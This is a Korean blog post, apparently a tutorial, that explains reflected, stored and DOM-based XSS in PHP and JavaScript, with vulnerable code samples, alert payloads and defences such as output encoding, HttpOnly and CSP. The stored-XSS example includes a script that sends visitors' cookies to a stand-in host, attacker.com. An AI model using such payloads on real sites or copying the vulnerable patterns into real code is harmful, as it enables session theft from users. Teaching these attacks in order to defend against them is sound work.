0. 들어가기 전: PHP란 무엇인가?
XSS 예제를 이해하기 위해 먼저 PHP 언어를 간단히 짚고 넘어가겠습니다.
- PHP란? 서버 측에서 실행되는 프로그래밍 언어입니다. 사용자가 웹 페이지를 요청하면, 서버가 PHP 코드를 해석해 HTML로 만들어 줍니다.
- 코드 읽는 법:
- $_GET['name']: 주소창(URL)에 ?name=홍길동이라고 입력했을 때, '홍길동'이라는 값을 가져오는 명령어입니다.
- echo: 화면에 글자를 출력하는 명령어입니다.
- htmlspecialchars(...): 특수문자(<, >, " 등)를 HTML 태그가 아닌 일반 문자로 바꿔주는 보안 함수입니다.
1. XSS(Cross-Site Scripting)란?
- 정의: 공격자가 웹 페이지에 악성 스크립트(주로 JavaScript)를 삽입하여, 이를 열람하는 피해자의 브라우저에서 스크립트가 실행되도록 하는 공격입니다.
- 위험성
- 쿠키 탈취: 사용자의 세션 정보(로그인 상태)를 훔칠 수 있습니다.
- 피싱: 가짜 로그인 창을 띄워 비밀번호를 가로챌 수 있습니다.
- 악성 동작: 사용자가 원치 않는 글을 쓰거나 파일을 다운로드하게 만들 수 있습니다.
2. XSS의 3가지 주요 유형
① Reflected XSS (반사형)

악성 스크립트가 URL 파라미터에 포함되어 서버로 전송되고, 서버가 이를 검증 없이 반사(Reflect) 하여 응답 페이지에 즉시 보여줄 때 발생합니다.
- 공격 시나리오: 공격자가 https://example.com/?name=<script>alert(1)</script> 같은 링크를 만들어 피해자에게 클릭을 유도합니다
- 취약한 코드 (PHP)
// 사용자가 입력한 name을 검증 없이 그대로 화면에 뿌려줍니다. $name = $_GET['name']; echo "<h1>Hello $name</h1>"; // 결과: <script>alert(1)</script>가 실행됨 [cite: 193, 194]
② Stored XSS (저장형)

공격자가 악성 스크립트를 게시판, 댓글, 프로필 등에 저장(Store) 하면, 해당 글을 조회하는 모든 사용자에게 스크립트가 실행됩니다. 가장 파급력이 크고 위험합니다.
- 예시: 게시판 댓글에 아래와 같은 코드를 남깁니다.
<script> // 접속한 사람의 쿠키를 공격자 사이트로 전송 document.location='https://attacker.com?cookie='+document.cookie </script>
③ DOM-based XSS (DOM 기반)

서버를 거치지 않고, 브라우저 내에서 자바스크립트(Client-side) 가 페이지의 구조(DOM)를 조작할 때 발생합니다.
- 원인: innerHTML, document.write() 같이 HTML을 해석해서 실행하는 함수에 사용자 입력을 그대로 넣을 때 발생합니다.
- 취약한 코드 (JS):
// URL의 # 뒷부분을 가져와서 화면(msg)에 HTML로 넣어버림 document.getElementById("msg").innerHTML = location.hash.substring(1); // 공격: URL 뒤에 #<img src=x onerror=alert(1)> 을 붙임 [cite: 219, 220] - 보안 대책: innerHTML 대신 텍스트로만 인식되는 textContent 를 사용해야 합니다.
3. XSS 방어 기법 (Secure Coding)
XSS를 막기 위한 핵심은 "사용자의 입력을 절대 믿지 말라" 입니다.
- 입력 값 검증 (Input Validation): <script> 같은 위험한 태그가 들어오면 아예 입력을 거부하거나 제거합니다.
- 출력 시 인코딩 (Output Encoding) - ★가장 중요:
- 브라우저가 코드로 오해할 수 있는 문자(<, >, &, ")를 HTML 엔티티(<, > 등)로 바꿔줍니다.
- PHP 방어 코드
// htmlspecialchars 함수가 <script>를 <script>로 바꿔서 실행되지 않게 함 $name = $_GET['name']; echo "<h1>Hello " . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "</h1>";
- HttpOnly 쿠키 설정: 자바스크립트(document.cookie)로는 쿠키에 접근할 수 없도록 설정하여, XSS가 터져도 세션 탈취를 막습니다.
- CSP (Content Security Policy): 허용된 도메인의 스크립트만 실행되도록 브라우저에 지시를 내립니다.
4. 실습해보기
- Dreamhack: https://dreamhack.io/wargame/challenges/28
로그인 | Dreamhack
dreamhack.io
'설명' 카테고리의 다른 글
| SSTI(Server-Side Template Injection)와 Python RCE 원리 (0) | 2026.01.09 |
|---|---|
| Web Shell과 Reverse Shell (0) | 2026.01.05 |
| SQL injection 이란? (0) | 2025.12.31 |
| mac에서 x86 환경 구축하기 (0) | 2025.08.31 |
| Agentic AI (2) | 2025.08.31 |